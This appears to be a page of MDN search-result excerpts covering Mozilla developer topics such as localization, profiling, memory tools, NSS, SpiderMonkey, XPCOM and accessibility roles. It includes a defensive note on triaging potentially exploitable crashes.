...ional when localizing. Any field that is blank will just show up in the default locale. Getting translation help You are kindly advised NOT to use any automatic online translation, which can bring unpleasant low-quality output to users. Always prefer a qualified human translation. AMO doesn't directly provide translation assistance to extension authors, but there are a couple services that can help: BabelZilla.org BabelZilla.org is a community dedicated to the localization of extensions for Moz family apps. They are volunteer translators from all over the world and are maintaining translations for more than 400 extensions with an online translation system. They also provide help for adding a localization support to your extension if there is no localization structure yet. You can already ...
Localization sign-off reviews
sign-off reviews, and the process for requesting a review and for following its progress. The sign-off review process has been notoriously shrouded in mystery. We use this review process to perform quality assurance (QA) testing on your L10n efforts. This ensures that every user who downloads your localized Mozilla application receives all of your hard work in a functional product. Each QA review helps us in these ways: Ensures that your L10n work is visible and functional within the Mozilla application. Allows us to understand how each L10n team is performing their localization work. Allows us to discover potential bugs within L10n tools. Overview You've done some localization work and are ready for it to be released. The merge date for migrating from one product release channel to the n...
...is generated from the revision attachment in your Bugzilla bug and evaluated to verify the technical accuracy of your new changes. Text in green font represent additions you've made in this new revision. Text in red font represents content you've removed since the last released revision. Unseen here, orange font represents content that was replaced in your new release revision. Using these colors helps us to identify potential bugs and approve your latest revision with speed while maintaining critical accuracy. All approved! Once your work is entirely approved, be prepared to celebrate! You've accomplished a massive undertaking and you deserve to be rewarded! Go grab a drink with friends and enjoy your latest success! ...
Creating localizable web applications
e.g. error messages), or in JavaScript libraries and scripts. If you are using pure HTML instead of gettext to localize your webapp, consider using an additional gettext-like format such as .lang to streamline localizers' work with repeating content. This is useful for strings occurring in the webapp multiple times, like "return to top", "comments", "click to see larger image" etc. Might be also helpful for headers and footers, if you're not using templates to display them. In most of the cases though, you should use gettext whenever technically possible (i.e. the server's PHP has been built with gettext support). Localize the date format Localizing the date format is as easy as localizing any other string. Just let the localizers localize the format specification string. Snippet 1. Bad: ...
...g> %s"), $persona['date']);?></p> In Snippet 6 the concatenation causes the ordering of the sentence to be fixed, while some grammars might require, for instance, to put the date in front of the "Added" descriptor. You should take advantage of the printf() variable that will be substituted by the date upon interpretation of the code (snippet 7). Use gettext comments Use comments in the code to help localizers understand what they are translating. You can explain where the string will appear in the application, or what the variables used in the string will be replaced with. Put comments in the same line as the gettext function call (inline comments, in PHP these are /* ... */), or one line directly above the gettext function call (block comments, in PHP they start with # ... or // ...). In e...
Power profiling overview
r power-related measurements Low-context measurements Most power-related measurements are global or per-process. Such low-context measurements are typically good for understand if power consumption is good or bad, but in the latter case they often don't provide much insight into why the problem is occurring, which part of the code is at fault, or how it can be fixed. Nonetheless, they can still help improve understanding of a problem by using differential profiling. Compare browsers to see if Firefox is doing better or worse than another browser on a particular workload. Compare different versions of Firefox to see if Firefox has improved or worsened over time on a particular workload. This can identify specific changes that caused regressions, for example. Compare different configurati...
...counts, use dtrace or perf or TimerFirings logging. On Mac workloads that use graphics, Activity Monitor's "Energy" tab can tell you if the high-performance GPU is being used, which uses more power than the integrated GPU. If neither CPU usage nor wakeup frequency identifies the problem, more ingenuity may be needed. Looking at other measurements (C-state residency, GPU usage, etc.) may be helpful. Animations are sometimes the cause of high power consumption. The animation inspector in the Firefox Devtools can identify them. Alternatively, here is an explanation of how one developer diagnosed two animation-related problems the hard way (which required genuine platform expertise). The approximate cause of power problems often isn't that hard to find. Fixing them is often the hard part.
Profiling with the Firefox Profiler
g MOZ_PROFILER_STARTUP_INTERVAL, which defaults to 1 (unit is millisecond). You can't go below 1 ms but you can use e.g. 10 ms. If the default threads to be profiled are insufficient, you can choose which threads to profile using MOZ_PROFILER_STARTUP_FILTERS, which is a comma separated list. Description of all available environment variables may be printed by starting Firefox with MOZ_PROFILER_HELP=1 set. If you want to profile Firefox for Android, you have to set this environment values by --es option of am command to launch Firefox. This example is for Firefox Nightly (package name is org.mozilla.fennec_aurora), and you have to allow storage access on permission settings before launching it. adb shell am start -n org.mozilla.fennec_aurora/.App \ --es env0 MOZ_PROFILER_STARTUP=1 \ --...
...dded by hand to important points in the code base. The stacks you see in the UI are chains of these tags. This is good for highlighting particularly interesting parts of the code, but they miss out on un-annotated areas of the code base, and give no visibility into system libraries or drivers. Tagging is done by adding macros of the form AUTO_PROFILER_LABEL("NAMESPACE", "NAME"). These add RAII helpers, which are used by the profiler to track entries/exits of the annotated functions. For this to be effective, you need to liberally use AUTO_PROFILER_LABEL throughout the code. See GeckoProfiler.h for more variations like AUTO_PROFILER_LABEL_DYNAMIC. Because of the non-zero overhead of the instrumentation, the sample label shouldn't be placed inside hot loops. A profile reporting that a larg...
Refcount tracing and balancing
g down leak of refcounted objects found with BloatView. The first step is to run Firefox with refcount tracing enabled, which produces one or more log files. Refcount tracing logs calls to Addref and Release, preferably for a particular set of classes, including call-stacks in symbolic form (on platforms that support this). Refcount balancing is a follow-up step that analyzes the resulting log to help a developer figure out where refcounting went wrong. How to build for refcount tracing Build with --enable-debug or --enable-logrefcnt. How to run with refcount tracing on There are several environment variables that can be used. First, you select one of three environment variables to choose what kind of logging you want. You almost certainly want XPCOM_MEM_REFCNT_LOG. NOTE: Due to an issue...
... leaks from smart pointers. If the leak comes from a smart pointer that is logged in the XPCOM_MEM_COMPTR_LOG, then find-comptr-leakers.pl will find the exact stack for you, and you don't have to look at trees. Ignore balanced trees. The make-tree.pl script accepts an option --ignore-balanced, which tells it not to bother printing out the children of a node whose balance factor is zero. This can help remove some of the clutter from an otherwise noisy tree. Ignore matched releases from smart pointers. If you've checked (see above) that the leak wasn't from a smart pointer, you can ignore the references that came from smart pointers (where we can use the pointer identity of the smart pointer to match the AddRef and the Release). This requires using an XPCOM_MEM_REFCNT_LOG and an XPCOM_MEM_COMP...
about:memory
-sub-categories, etc., to arbitrary depth, as needed. All the measurements within a single tree are non-overlapping. Tree paths can be written using '/' as a separator. For example, preference/referent/weak/dead represents the path to the final leaf node in the example tree above. Sub-trees can be collapsed or expanded by clicking on them. If you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees immediately below the root, and then gradually expand the sub-trees of interest. Sections Memory reports are displayed on a per-process basis, with one process per section. Within each process's measurements, there are the following subsections. Explicit Allocations This section contains a single tree, called "explicit", that measures all the memory allocated ...
... ...
Performance
The articles linked to from here will help you improve performance, whether you're developing core Mozilla code or an add-on. Documentation Reporting a Performance Problem A user friendly guide to reporting a performance problem. A development environment is not required. Benchmarking Tips on generating valid performance metrics. Performance best practices in extensions A performance "best practices" guide for extension developers. Measuring Add-on Startup Performance A guide for add-on developers on how to set up a performance testing environment. XUL School: Add-on Performance Tips for add-on developers to help them avoid impairing application performance. GPU performance Tips for profiling and improving...
...lla's continuous integration testing. Refcount tracing and balancing Refcount tracing and balancing are ways to track down leaks caused by incorrect uses of reference counting. They are slow and not particular easy to use, and thus most suitable for use by expert developers. GC and CC logs GC and CC logs can be generated and analyzed to in various ways. In particular, they can help you understand why a particular object is being kept alive. Valgrind Valgrind is a tool that detects various memory-related problems at runtime, including leaks. Valgrind is used as part of Mozilla's continuous integration testing, though the coverage is limited because Valgrind is slow. LeakSanitizer LeakSanitizer (a.k.a. LSAN) is similar to Valgrind, but it runs faster becau...
L20n
lopers Documentation for developers wanting to implement localization functionality on their web apps using L20n. Internationalization for your web app First read for developers looking to use the L20n infrastructure. L20n's HTML bindings Tutorial on implementing L20n in your HTML code. L20n JavaScript API An API for l20n.js. L20n syntax cheatsheet for developers A simple cheatsheet to help developers as they add L20n to their localization infrastructure. For Localizers Documentation for Localizers creating localized content for a project that uses L20n. Learn the L20n syntax How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action. Localization use-cases How to naturally localize applications using L20n. Complete with use ...
...ions using L20n. Complete with use cases and examples of L20n in action. Localization use-cases How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action. L20n and Translation Memory eXchange (TMX) How L20n impacts the Translation Memory eXchange standard for translation memory data. L20n syntax cheatsheet for localizers A simple cheatsheet to help localizers as they localize projects with L20n. Additional resources Some additional resources for developers and localizers involved with L20n. L20n.org You can try L20n live in your browser on the project page. L20n Tinker Test out your own L20n code in L20n Tinker. GitHub Where the main code for the L20n infrastructure and design spec lives. Wiki page Info about the project to d...
NSS_3.12_release_notes.html
id pointer Bug 300929: Certificate Policy extensions not supported Bug 129303: NSS needs to expose interfaces to deal with multiple token sources of certs. Bug 217538: softoken databases cannot be shared between multiple processes Bug 294531: Design new interfaces for certificate path building and verification for libPKIX Bug 326482: NSS ECC performance problems (intel) Bug 391296: Need an update helper for Shared Databases Bug 395090: remove duplication of pkcs7 code from pkix_pl_httpcertstore.c Bug 401026: Need to provide a way to modify and create new PKCS #11 objects. Bug 403680: CERT_PKIXVerifyCert fails if CRLs are missing, implement cert_pi_revocationFlags Bug 427706: NSS_3_12_RC1 crashes in passwordmgr tests Bug 426245: Assertion failure went undetected by tinderbox Bug 158242: PK11_Pu...
...bject leak if subsequent function code produces an error Bug 402731: pkix_pl_Pk11CertStore_CrlQuery will crash if fails to acquire DP cache. Bug 406647: libpkix does not use user defined revocation checkers Bug 407064: pkix_pl_LdapCertStore_BuildCrlList should not fail if a crl fails to be decoded Bug 421216: libpkix test nss_thread leaks a test certificate Bug 301259: signtool Usage message is unhelpful Bug 389781: NSS should be built size-optimized in browser builds on Linux, Windows, and Mac Bug 90426: use of obsolete typedefs in public NSS headers Bug 113323: The first argument to PK11_FindCertFromNickname should be const. Bug 132485: built-in root certs slot description is empty Bug 177184: NSS_CMSDecoder_Cancel might have a leak Bug 232392: Erroneous root CA tests in NSS Libraries Bug 2...
NSS 3.35 release notes
change in TLS 1.3. Please use the equivalent ssl_sig_rsa_pss_rsae_sha* for rsaEncryption keys, or ssl_sig_rsa_pss_pss_sha* for PSS keys. Note that this release does not include support for the latter. Notable Changes in NSS 3.35 Previously, NSS used the DBM file format by default. Starting with version 3.35, NSS uses the SQL file format by default. Below, are explanations that could be helpful for environments that need to adopt to the new default. If NSS is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information. NSS supports two different database file formats: DBM: The legacy file format, based on Berkeley DB, using filenames cert8.db, key3.db and secmod.db. Parallel databa...
... The Websites (TLS/SSL) trust bit was turned off for the following CA certificates: CN = Chambers of Commerce Root SHA-256 Fingerprint: 0C:25:8A:12:A5:67:4A:EF:25:F2:8B:A7:DC:FA:EC:EE:A3:48:E5:41:E6:F5:CC:4E:E6:3B:71:B3:61:60:6A:C3 CN = Global Chambersign Root SHA-256 Fingerprint: EF:3C:B4:17...
NSS API Guidelines
NSS API Guidelines Newsgroup: mozilla.dev.tech.crypto Introduction This document describes how the NSS code is organized, the libraries that get built from the NSS sources, and guidelines for writing NSS code. These guidelines will familiarize you with some of the ways things can be done in the NSS code. This will help you understand existing NSS code. It should also help you understand how to write new code, and where to place it. Some of the guidelines in this document, are more forward-looking than documentary. These rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules. NSS API Structure This section explains the structure and relationships of the NSS libraries. The Layering section explains h...
...ena pointer, using the arena if there is one, or alternatively the heap if there isn't. Therefore, we wrap that logic into the allocators. Knowing what to then free does takes discipline not to leak memory, but it simplifies things a lot. Also, the implementation of free works (doesn't crash), no matter if from an arena, or the heap, as long as from our allocators. Combined with purify, this also helps us catch cases where things being allocated by one allocator are freed by another, which is a common Windows pitfall. The security code often wants to be sure to zero memory, when it's being freed; we'll add it to the primitives to deal with. The ARENA_THREADMARK preprocessor definition (default in debug builds), and code it encloses, will add some checking for the following situation: Thr...
sslintro.html
Upgraded documentation may be found in the Current NSS Reference Overview of an SSL Application Chapter 1 Overview of an SSL Application SSL and related APIs allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications. This chapter introduces some of the basic SSL functions. ...
...ttings you want to change from those established with SSL_OptionSetDefault. Optional. SSL_ConfigSecureServer. For servers only. Configures the socket with the information needed to handshake as an SSL server. Required for servers. SSL_SetURL. For clients only. Records the target server URL for comparison with the URL specified by the server certificate. Required for clients. Callbacks and helper functions allow you to specify such things as how authentication is accomplished and what happens if it fails. SSL_SetPKCS11PinArg. Sets the argument passed to the PKCS #11 password callback function. Required. SSL_AuthCertificateHook. Specifies a callback function used to authenticate an incoming certificate (optional for servers, necessary for clients to avoid "man-in-the-middle" attac...
Renaming With Pork
rel/pork-barrel 4 /tmp/ls.txt ./renamer -rename-class string sm::string > /tmp/string.diff 2>/tmp/err.txt Pork-barrel runs multiple copies of the renamer and merges their output. One can also run the ./renamer command directly on the .ii files. 5. Apply the patch in the test sources. ...
...f the renamer and merges their output. One can also run the ./renamer command directly on the .ii files. 5. Apply the patch in the test sources. Pork patches contain absolute paths in them and will touch generated sources if it comes across any. ...
Rhino shell
implements Java2 security model. Predefined Properties Scripts executing in the shell have access to some additional properties of the top-level object. arguments The arguments object is an array containing the strings of all the arguments given at the command line when the shell was invoked. environment Returns the current environment object. history Displays the shell command history. help() Executing the help function will print usage and help messages. defineClass(className) Define an extension using the Java class named with the string argument className. Uses ScriptableObject.defineClass() to define the extension. deserialize(filename) Restore from the specified file an object previously written by a call to serialize. gc() Runs the garbage collector. load([filename, ..
... js> runCommand("bad_command", "--bad-arg", opt) js: "<stdin>", line 18: uncaught JavaScript exception: java.io.IOException: bad_command: not found js> // Passing explicit environment to the system shell js> runCommand("sh", "-c", "echo $env1 $env2", { env: {env1: 100, env2: 200}}) 100 200 0 js> // Use args option to provide additional command arguments js> var arg_array = ...
How to embed the JavaScript engine
dint.h> #include "jsapi.h" /* The class of the global object. */ static JSClass global_class = { "global", JSCLASS_GLOBAL_FLAGS, JS_PropertyStub, JS_DeletePropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub, }; int main(int argc, const char *argv[]) { JSRuntime *rt = JS_NewRuntime(8L * 1024 * 1024, JS_USE_HELPER_THREADS); if (!rt) return 1; JSContext *cx = JS_NewContext(rt, 8192); if (!cx) return 1; { // Scope for our various stack objects (JSAutoRequest, RootedObject), so they all go // out of scope before we JS_DestroyContext. JSAutoRequest ar(cx); // In practice, you would want to exit this any // time you're spinning the eve...
... JSAutoRequest ar(cx); // In practice, you would want to exit this any // time you're spinning the eve...
64-bit Compatibility
nsStore, the correct size is chosen for you automatically, based on the size of the input operands. To insert constants, use LirWriter::insImmPtr() for pointer types or LirWriter::insImmWord() for integral types. Note that LirWriter::insImm() is always 32-bit. Quad versus Float Internally, "quads" are 64-bit opaque values in Nanojit. They can be either floating point values or integral values. To help form well-typed LIR, there is a special opcode called LIR_float which specifies that the associated constant value is definitely floating-point. TraceMonkey uses this to decide whether arbitrary constants in LIR are pointers or doubles. You should never use LirWriter::insImmq() to inject a floating point value. Use LirWriter::insImmf() instead. Mucking with Native Integers in LIR The following op...
...es it is necessary to reduce a native integer to a 32-bit integer (for example, array or string lengths in TraceMonkey) or extend a 32-bit integer to a native integer. There are three such opcodes: LIR_i2q - Sign-extends a 32-bit integer to a 64-bit integer. LIR_u2q - Zero-extends a 32-bit integer to a 64-bit integer. LIR_qlo - Truncates a 64-bit integer to its lower 32 bits. There are three helper functions in LirWriter: ins_i2p() - On 32-bit platforms, does nothing. On 64-bit platforms, performs a LIR_i2q. ins_u2p() - On 32-bit platforms, does nothing. On 64-bit platforms, performs a LIR_u2q. ins_p2i() - On 32-bit platforms, does nothing. On 64-bit platforms, performs a LIR_qlo. A common use for extending values is to perform advanced addressing. For example, this code tries to loa...
Tracing JIT
in the monitor's fragment table and the monitor returns to monitoring mode, with a high likelihood of immediately transitioning to executing mode on the next bytecode interpreted. The compiled fragment of code returned to the monitor on successful loop-close is called a trace. If the recorder is asked to record a bytecode that implies a call to a native function elsewhere in SpiderMonkey -- some helper function written in C -- and that native happens to re-enter the interpreter to interpret yet more bytecode, and furthermore if that bytecode itself contains a hot PC that has not yet been traced, the trace monitor may be asked to begin nested recording. This is the same as normal recording mode, except that the outermost recorder is placed on a deferred-abort stack. When the innermost recorder...
... mode starting with the exiting PC. Otherwise it will return to monitoring mode. If the side exit condition indicates that the trace exited unsuccessfully -- due to encountering sufficient memory pressure to trigger a garbage collection, running out of native stack space, expiring a timer or any similar abnormal condition -- the monitor returns to monitoring mode. Some other terminology may be helpful when reading the code: The term guard denotes a condition that is checked by an executing trace to confirm that some assumptions made during recording still hold. If guard's condition fails to hold, the guard either jumps to an exit or, if the guard has been extended, jumps to a sub-trace that has been recorded under the opposite assumption as the guard was checking. For example, when recor...
Self-hosted builtins in SpiderMonkey
and can rely on references being stable, i.e. not changeable by client JS code. OTOH, self-hosted code doesn't have access to most of the C++-implemented builtins. You can not, for example, use Function.prototype.apply directly. A select set of C++-implemented builtins is installed via the intrinsic_functions array in SelfHosting.cpp, as described below. Using the same mechanism, C++-implemented helper functions are made available to self-hosted code. Some general-purpose functions provided in this way are: The abstract operations ToObject, ToInteger, and IsCallable specified in the ECMAScript Language Specification. ThrowTypeError, ThrowRangeError, ThrowSyntaxError, which self-hosted code should use instead of throw so that the error message is specified in js.msg and can be localized. ...
...The abstract operations ToObject, ToInteger, and IsCallable specified in the ECMAScript Language Specification. ThrowTypeError, ThrowRangeError, ThrowSyntaxError, which self-hosted code should use instead of throw so that the error message is specified in js.msg and can be localized. The MakeConstructible function described above. The file Utilities.js provides some additional, JS-implemented helper functions. Of note, it provides implementations of List and Record, types defined in the ECMAScript specifications that are similar to Array and Object, but can't be modified by application code. The SelfHostingDefines.h header contains Adding self-hosted functions to host objects First, the code has to be embedded into SpiderMonkey. The easiest way to accomplish that is to add the code to a...
JS::CallArgs
Syntax JS::CallArgs JS::CallArgsFromVp(unsigned argc, JS::Value *vp); Name Type Description args unsigned Number of argument. (2nd argument of JSNative) vp JS::Value * A pointer to the argument value array. (3nd argument of JSNative) Methods Methods of JS::CallArgs Method Description bool requireAtLeast(JSContext *cx, const char *fnname, unsigned required) Returns true if there are at least required arguments passed in. ...
...alleev() can no longer be used. (If you're compiling against a debug build of SpiderMonkey, these methods will assert to aid debugging.) If the method you're implementing succeeds by returning true, you *must* set this. (SpiderMonkey doesn't currently assert this, but it will do so eventually.) You don't need to use or change this if your method fails. Description JS::CallArgs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. The intent of JS::CallArgs is that they be used to encapsulate access to the un-abstracted unsigned argc, Value *vp arguments to a function. New code should use CallArgs instead of JS_CALLEE etc. whenever possible. The eventual plan is to change JSNative to take const CallArgs& directly, f...
SpiderMonkey 24
nvironment variable-based overriding when we drop support for versions of Visual Studio prior to 2010. In the meantime MOZ_CUSTOM_STDINT_H is intended to function as a bridge to always using the standard header. For more information on the fixed-size integer types changes, see this blog post. New C APIs JS_GetArrayPrototype provides access to the original value of Array.prototype. New C++ helpers While JSAPI remains a C API, the engine is now implemented in C++. Some C++ helpers have been introduced into the API, to help embedders writing C++ projects. Please note that SpiderMonkey reserves the JS:: namespace for itself (and the js:: namespace for internal use). ...list new C++ helpers here... Obsolete APIs ...list obsolete methods/structs/APIs here... Deleted APIs JS_GE...
...eUTF8 ...list other deleted APIs... API changes Break out and discuss all API changes here... JSOPTION_STRICT has been renamed to JSOPTION_EXTRA_WARNINGS. JS_SetVersion has been removed, JS Version is now set on the compartment instead of context. JS_GetPrototype, takes context as first argument JS_EncodeStringToBuffer takes add context as first argument, JS_NewRuntime adds a JS_[USE|NO]_HELPER_THREADS flag Delete property in JSClass definitions now use JS_DeletePropertyStub Garbage Collection functions now take runtime argument Most garbage collection functions now take a runtime argument instead of a context. The one exception to this is JS_MaybeGC which still takes a context as argument. JavaScript shell changes Detail added/removed methods here... Known Issues Detail a...
compare-locales
If you want to run compare-locales on Windows, be sure to first install MozillaBuild. Installation compare-locales needs to be installed, and it requires that you have Python 2.7 or 3.5+ installed on your machine. The easiest way is to just run $ pip install -U compare-locales Running it compare-locales gathers the directories to compare from a TOML file, usually found in $APP/locales/l10n.toml. The details of the configuration file are described in the l10n-config docs. ...
...-locales --unified browser/locales/l10n.toml mobile/android/locales/l10n.toml ./l10n/ de Cross-channel and compare-locales If you're working against the gecko-strings cross-channel repository, the toml configuration files are in the _configs subdirectory, browser.toml, mobile_android.toml, mail.toml and calendar.toml, and suite.toml. Options To get a brief list of available options, use the --help flag: $ compare-locales --help The output The output of compare-locales shows the missing and obsolete strings in a pseudo-diff format. ab-CD browser chrome/browser browser.dtd +backForwardMenu.tooltip +fullZoomEnlargeCmd.commandkey3 +fullZoomReduceCmd.commandkey2 +fullZoomResetCmd.commandkey2 +organizeBookmarks.label -s...
Exploitable crashes
What is an exploitable crash? A crash report from your debugger, your OS, or Mozilla crash-stats can tell you a lot about whether or not a crash is potentially exploitable. You want to look primarily for three things, in order: Look at the top frame of the stack trace. If you see a hex address such as 0x292c2830 rather than a function name such as nsListBoxBodyFrame::GetRowCount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program. These crashes are almost always exploitable to run arbitrary code. ...
... to find exploitable situations before they show up as exploitable crash reports. The first tool is AddressSanitizer (ASAN). There is an MDN article documenting its use with Mozilla projects. The other tool is Valgrind. There is an MDN article documenting its use with Mozilla projects. Next steps Once you've determined that a crash is potentially exploitable, take the following steps. If you need help with any of the steps (e.g. perhaps you lack necessary bugzilla privileges) please email security@mozilla.org. Make sure a bug is on file. Mark the bug as security-sensitive by putting it into the "Security-Sensitive Core Bug" group. Do this before making comments or taking actions that expose exploitability publicly. Put a security severity rating in the bug's keywords. If you're not sure wh...
Gecko Roles
by Microsoft Windows. ROLE_INTERNAL_FRAME A sub-document. ROLE_MENUPOPUP Represents a menu, which presents a list of options from which the user can make a selection to perform an action. ROLE_MENUITEM Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option. ROLE_TOOLTIP Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position. ROLE_APPLICATION Represents a main window for an application. ROLE_DOCUMENT Represents a document window. A document window is always contained within an application window. ROLE_PANE Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the curren...
...ROWHEADER Represents a row header, which provides a visual label for a table row. ROLE_COLUMN Represents a column of cells within a table. ROLE_ROW Represents a row of cells within a table. ROLE_CELL Represents a cell within a table. ROLE_LINK Represents a link to something else. This object might look like text or a graphic, but it acts like a button. ROLE_HELPBALLOON Displays a Help topic in the form of a ToolTip or Help balloon. ROLE_CHARACTER Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application. ROLE_LIST Represents a list box, allowing the user to select one or more items. ROLE_LISTITEM Represents an item in a list. ROLE_OUTLINE ...
AT APIs Support
s the context menu. on Windows platform MFCEMBED testing client - this is a very simple package, great for testing basic HTML accessibility with your products and the Gecko rendering engine (please contact us for a copy). K-Meleon - light, ultra-fast and more advanced (fully configurable) Gecko-based web browser available on the Windows platform on Linux/Unix platform Yelp help viewer - the help viewer in Gnome Evolution email - provides integrated mail, addressbook and calendaring functionality to users of the GNOME desktop. on Mac platform Camino - web browser for OS X XUL Applications XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tr...
...eatures are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated: Firefox recent builds Thunderbird recent builds Seamonkey recent builds Determining if Accessibility is Enabled in a Firefox Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the about:accessibilityenabled Firefox extension. Supported AT APIs AT APIs terms Microsoft Active Accessibility (MSAA) an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code tha...
XML Extras
ee also: XML in Mozilla document.load() A few examples dealing with XML from MozillaZine Knowledge Base. QA and Testing There are some online tests for mainly exercising the HTTP GET method via XMLHttpRequest. Other test cases for each of the implemented components listed above exist in extensions/xmlextras/tests/. More exhaustive test suites need to be created, however. If you'd like to help out with QA, you can do one of the following: Sign up as the QA owner for any of the implemented components. The QA owner will manage the tests associated with their component, act as QA contact for related bugs and help with regression testing. Contribute a test suite or individual tests that use the implemented components. File bugs for new test you have, and/or check them into extensions/x...
...ally aimed at JavaScript developers or to complete & clarify the JavaDoc-style comments in the IDL files. nsIDOMSerializer (Currently, the JavaScript constructor is XMLSerializer()) nsIDOMParser (Currently, the JavaScript constructor is DOMParser()) nsIXMLHttpRequest Please see the XML Linking and Pointing section in XML in Mozilla document for FIXptr and XPointer documentation. How can I help? Help with testing the components contained within the module. Contribute Documentation to the module. Help at the code level, contributing code patches for bug fixes or feature completion. ...
XPCOM array guide
Mozilla › Tech › XPCOM › Guide › Arrays
through QueryElementAt, which is similar to QueryInterface, but it takes a specific index. void NotifyObservers(nsIArray* aArray) { PRUint32 length; aArray->GetLength(&length); for (PRUint32 i=0; i<length; ++i) { nsCOMPtr<nsIMyObserver> element; aArray->QueryElementAt(i, NS_GET_IID(nsIElement), getter_AddRefs(element)); element->Observe(); } } A simpler option is to use the helper do_QueryElementAt which is typesafe. void NotifyObservers(nsIArray* aArray) { PRUint32 length; aArray->GetLength(&length); for (PRUint32 i=0; i<length; ++i) { nsCOMPtr<nsIMyObserver> element = do_QueryElementAt(aArray, i); element->Observe(); } } Passing as a parameter Since nsIArray is an XPCOM object, it should be passed as a pointer. To distinguish between read-only array...
...ion of the string enumerator interfaces for nsTArray<nsString> and nsTArray<nsCString> supports conversion between UTF8 and Unicode, and can be QueryInterface'd back and forth between nsIStringEnumerator and nsIUTF8StringEnumerator. To create an nsIStringEnumerator for an nsTArray<nsString>, you can use one of the variations of NS_NewStringEnumerator. There are also corresponding enumerators and helpers for UTF8 strings. In the examples below, NS_NewUTF8StringEnumerator can be used along with nsIUTF8StringEnumerator and nsTArray<nsCString>. This first example demonstrates the case where a class which owns an nsTArray<nsString>, and are returns an nsIStringEnumerator to a caller. You can use the variation of NS_NewStringEnumerator that ensures the owner of the array outlives the enumerator. T...
An Overview of XPCOM
o allow different pieces of software to be developed and built independently of one another. In order to allow interoperability between components within an application, XPCOM separates the implementation of a component from the interface, which we discuss in Interfaces. But XPCOM also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application. Using XPCOM, developers create components that can be reused in different applications or that can be replaced to change the functionality of existing applications. XPCOM not only supports component software development, i...
...tabase in memory, for one thing, and there might also be inconsistencies between records as the copies diverged. Providing this single point of access to functionality is what the singleton design pattern is for, and what services do in an application (and in a development environment like XPCOM). In XPCOM, in addition to the component support and management, there are a number of services that help the developer write cross platform components. These services include a cross platform file abstraction which provides uniform and powerful access to files, directory services which maintain the location of application- and system-specific locations, memory management to ensure everyone uses the same memory allocator, and an event notification system that allows passing of simple messages. The tu...
Component Internals
erence counting less tedious and error-prone, is not actually frozen, and neither is nsDebug, a class for aiding in tracking down bugs, nor is nsMemory, a class to ensure that everyone uses the same heap, generic factory, and module. Instead of asking every developer to find and copy these various files into their own application, XPCOM provides a single library of "not-ready-to-freeze-but-really-helpful" classes that you can link into your application, as the following figure demonstrates. XPCOM Glue and Tools This is the glue library. It provides a bridge, or "glue" layer, between your component and XPCOM. A version of the glue library is built into XPCOM, and when your component uses it, it links a snapshot of this library: it includes a copy of these unfrozen classes directly, which a...
...ent freedom to work in any recent environment. If footprint is a big issue in your component or application, you can trim out the pieces you don't need. XPCOM String Classes The base string types that XPCOM uses are nsAString and nsACString. These classes are described in the Mozilla String Guide (see Gecko Resources). The string classes that implement these abstract classes are another set of helpful, unfrozen classes in XPCOM. Most components and embedding applications need to link to some string class or other in order to utilize certain Gecko APIs, but the string code that Mozilla uses is highly complex and even more expensive than the glue code in terms of footprint (~100k). nsEmbedString and nsEmbedCString are available as very lightweight string implementations for component developm...
How To Pass an XPCOM Object to a New Window
For example: var ww = Components.classes["@mozilla.org/embedcomp/window-watcher;1"]. ...
...For example: var ww = Components.classes["@mozilla.org/embedcomp/window-watcher;1"]. ...
Components.utils.Sandbox
the following optional properties: freshZone If true creates a new GC region separate from both the calling context's and the sandbox prototype's region. Addons creating sandboxes whose expected lifetime is tied to that of a content window object will want to use sameZoneAs instead. sameZoneAs A JavaScript object in whose garbage collection region the sandbox should be created in. This helps to improve memory usage by allowing sandboxes to be discarded when that zone goes away. Content scripts should pass the window they're running in as this parameter, in order to ensure that the script is cleaned up at the same time as the content itself. sandboxName A string value which identifies the sandbox in about:memory (and possibly other places in the future). This property is optiona...
...code that needs Web APIs (such as accessing the window's DOM) can be executed without interference from untrusted content code. wantComponents A Boolean indicating whether the Components object is available or not in the sandbox. Default: true. If the sandbox interacts with untrusted content this should be set to false when possible to further reduce possible attack surface. wantExportHelpers A Boolean: if true, then createObjectIn(), evalInWindow(), and exportFunction() are available in the sandbox. Default: false. wantGlobalProperties An array of strings. Each string is the name of an object that you want to make available as a global to code running in the sandbox. The exception is "-Promise": the Promise constructor is available by default for sandboxes, and you use t...
NS_ConvertUTF16toUTF8
Class Declaration A helper class that converts a UTF-16 string to UTF-8 Method Overview Constructors operator= get Find RFind RFindChar FindCharInSet RFindCharInSet Compare EqualsIgnoreCase ToFloat ToInteger Mid Left Right SetCharAt StripChars StripWhitespace ReplaceChar ReplaceSubstring Trim CompressWhitespace AssignWithConversion AppendWithConversion AppendInt AppendFloat BeginReading EndReading BeginWriting EndWriting Data Length IsEmpty IsVoid IsTerminated CharAt operator[] First Last CountChar FindChar Equals EqualsASCII EqualsLiteral(const char EqualsLiteral(char LowerCaseEqualsASCII LowerCase...
...opt Replace ReplaceASCII Append AppendASCII AppendLiteral(const char AppendLiteral(char operator+= Insert Cut SetCapacity SetLength Truncate GetData GetMutableData SetIsVoid StripChar Base Classes nsCAutoString Data Members No public members. ...
NS_LossyConvertUTF16toASCII
